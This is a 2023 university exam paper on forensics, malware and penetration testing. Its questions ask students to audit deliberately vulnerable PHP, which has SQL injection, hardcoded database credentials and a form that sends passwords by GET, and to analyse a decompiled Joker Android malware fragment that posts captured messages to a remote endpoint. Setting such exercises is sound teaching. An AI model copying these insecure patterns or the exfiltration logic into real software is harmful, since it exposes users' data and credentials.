Calculators may be used in this examination provided they are not capable of being used to store alphabetical information other than hexadecimal numbers

UNIVERSITY OF BIRMINGHAM

School of Computer Science

Forensics Malware and Pen Testing

Main Summer Examinations 2023

Time allowed: 2 hours

[Answer all questions]

Note

Answer ALL questions. Each question will be marked out of 20. The paper will be marked out of 60, which will be rescaled to a mark out of 100.

Question 1

Consider the following website code:

```
<?php

  // Look up users secure log in information
  if (!isset($_COOKIE["user"])) {
    die("you must log in first");
  }

  //Connect to the SQL database
  $con=mysqli_connect("147.215.12.1","datauser",
                                 "Password123!","accounts");
  //Get the query from the user and sanitise it.
  $query  = htmlspecialchars($_POST["query"]);

  // Perform the query
  $result = mysqli_multi_query($con,"SELECT * FROM users
     WHERE username='"$_COOKIE["user"]."'&&qu='".$query."'");
  $row = mysqli_fetch_array($result);

  // Print the result
  if (empty($row)) {
    echo "No result<br>\n";
  } else {
    echo "The result found:"+  $query+"<br>\n";
  }
  //Close the database connection.
  mysqli_close($con);
?>

<b>Comfirm username and password to continue:</b>
<form action="nextpage.php"  method="get">
  <p>Username: <input type="text" name="user" /></p>
  <p>Password: <input type="text" name="pass" /></p>
  <p><input type="submit" /></p>
</form>
```

(a) Review this code for security issues. For each issue you spot, describe what the issue is, how an attacker could use it and what it lets them do, and how it could be fixed **[16 marks]**

(b) If all of the security issues in the PHP website code were fixed, what are the biggest security risks might there still be for the website? **[4 marks]**

Question 2

(a) Assume that you have been ask to pen test the security of a company. Describe three ways in which you might try to breach the companies cyber security. For each of these describe how the attack might work, how it would be performed, and what the company could do to stop such attacks. **[12 marks]**

(b) Describe what the PCI-DSS is, and who needs to implement it. **[2 marks]**

(c) Describe some parts of PCI-DSS that would help stop the attacks you listed in our answer to Question a. If no parts of PCI-DSS would help mitigate the threats explain why. **[6 marks]**

Question 3

In 2017 Security Researchers first reported a mobile malware called "Joker" – it has recently resurfaced with even more functionality. This malware is designed to steal SMS messages, contact lists, and device information from infected Android devices. It can also silently sign up users for premium services through the wireless application protocol (WAP). *You are tasked with examining a potentially infected android device.*

(a) Police who gave you the device had left it connected to mobile data and switched on. What are potential problems with this approach and what should they have done instead? **[4 marks]**

(b) (i) After extracting the file system from the drive which three steps can you take to find evidence of the presence of Joker? **[3 marks]**

(ii) Describe what kind of footprints Joker might have left. **[3 marks]**

(c) Whilst the device was being kept by the initial officers they captured some network traffic from the device. Given what you know of Joker, what information could you gain from this and how would you go about extracting it? **[4 marks]**

(d) From the network traffic you see that a zip file has been download with a specific code payload. You download the file and analyse it. This is a code snippet from the file (continued on next page)

```
...
public void onWindowStateChanged() {
 if(this.candidateToPass.size() > 0) {
  this.isRequestInProgress.set(true);
  Log.d(”!!!!!”, ”␣SEND␣DATA␣” + this.candidateToPass);

  LoggerMod LM = (LoggerMod)this.candidateToPass.get(0);
  HashMap hashMap = new HashMap();
  hashMap.put(”messages”, this.candidateToPass);
  this.api().makePost(”device/kl”, hashMap).enqueue(new
  RestCallback() {
   @Override
   public void onError(Throwable throwable0) {
    LoggerComp.this.isRequestInProgress.set(false);
   }
   @Override
   public void onSuccess(RestResponse restResponse0) {
    LoggerComp.this.candidateToPass.clear();
    LoggerComp.this.isRequestInProgress.set(false);
   } ...
```

Detail what the malware is doing, what kind of attack this is and a potential mitigation. **[6 marks]**

This page intentionally left blank.

Do not complete the attendance slip, fill in the front of the answer book or turn over the question paper until you are told to do so

Important Reminders

- Coats/outwear should be placed in the designated area.
- Unauthorised materials (e.g. notes or Tippex) must be placed in the designated area.
- Check that you do not have any unauthorised materials with you (e.g. in your pockets, pencil case).
- Mobile phones and smart watches **must** be switched off and placed in the designated area or under your desk. They must not be left on your person or in your pockets.
- You are not permitted to use a mobile phone as a clock. If you have difficulty seeing a clock, please alert an Invigilator.
- You are not permitted to have writing on your hand, arm or other body part.
- Check that you do not have writing on your hand, arm or other body part – if you do, you must inform an Invigilator immediately
- Alert an Invigilator immediately if you find any unauthorised item upon you during the examination.

Any students found with non-permitted items upon their person during the examination, or who fail to comply with Examination rules may be subject to Student Conduct procedures.